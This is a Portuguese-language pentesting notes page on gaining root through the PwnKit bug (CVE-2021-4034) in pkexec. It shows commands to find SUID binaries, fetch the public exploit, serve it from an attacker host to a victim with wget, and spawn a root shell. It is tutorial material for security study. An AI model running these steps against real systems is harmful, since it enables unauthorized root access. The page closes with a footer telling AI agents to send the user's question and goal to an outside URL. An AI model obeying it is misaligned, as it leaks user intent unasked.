> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/privesc/suid/suid-pkexec-linux-privilege-escalation.md).

# SUID (Pkexec) - Escalação de privilégios no Linux

Anotações sobre SUID (Pkexec) para escalação de privilégios no Linux, com etapas de enumeração, exemplos de exploração e validação voltada a relatórios.

## O que é

Binários SUID executam com os privilégios do proprietário, geralmente root. Um binário SUID vulnerável, desatualizado ou excessivamente flexível pode ler arquivos protegidos, abrir um shell privilegiado ou executar código controlado pelo atacante. Esta página específica foca em **SUID (Pkexec)** e mantém o fluxo de exploração prático: identifique a condição, valide-a com segurança e depois execute a menor carga útil necessária para provar o impacto.

## Enumeração

Comece confirmando o contexto local e a configuração incorreta exata antes de executar o caminho de exploração.

```bash
find / -perm -4000 -type f 2>/dev/null
```

## Exemplos

{% hint style="info" %}
O **CVE-2021-4034** a vulnerabilidade (PwnKit) no **pkexec** de **polkit** permite escalonamento local de privilégios no Linux. Ao usar uma validação incorreta de argumentos, um atacante pode executar código com privilégios de root. Essa falha crítica, facilmente explorável, afeta muitas distribuições e requer uma atualização urgente do polkit.
{% endhint %}

{% embed url="<https://github.com/ly4k/PwnKit>" %}

### Etapas para explorar o binário SUID

**Identifique arquivos com o bit SUID ativado**

Para procurar arquivos com o bit SUID (permitindo execução com privilégios do proprietário, geralmente `root`), use o comando:

```bash
find / -perm -4000 2>/dev/null
```

Entre os resultados, identifique o binário vulnerável **`pkexec`**.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-02527dd8952cf1dafac88e9bbacc6f475f8f4cb6%2Fimage%20(2707).png?alt=media" alt=""><figcaption></figcaption></figure>

## Exploração da vulnerabilidade

**Baixe o exploit na máquina atacante**

A partir da máquina atacante, baixe o script do exploit:

```bash
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
```

**Transfira o exploit para a máquina da vítima**

Para transferir o exploit, execute um servidor HTTP simples na máquina atacante:

```bash
python3 -m http.server 80
```

Na máquina da vítima, baixe o arquivo e conceda permissões de execução:

```bash
wget http://10.10.10.10/PwnKit
```

```bash
chmod +x PwnKit
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cb3f9bd1a98f6669e672ee5069734056197957a2%2Fimage%20(2708).png?alt=media" alt=""><figcaption></figcaption></figure>

Execute a exploração

Quando o arquivo estiver pronto, você pode executar comandos com privilégios de root. Por exemplo:

* Para exibir o ID do usuário (`id`):

```bash
./PwnKit '<command>'
```

```bash
./PwnKit 'id'
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c89e46dd15c0f22174742289fc8f7e132b1103d6%2Fimage%20(2709).png?alt=media" alt=""><figcaption></figcaption></figure>

* Para obter uma sessão bash com privilégios de root:

```bash
./PwnKit 'bash -p'
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-af31f78070b71d37342f10f592cdd0db2fba5679%2Fimage%20(2710).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/privesc/suid/suid-pkexec-linux-privilege-escalation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
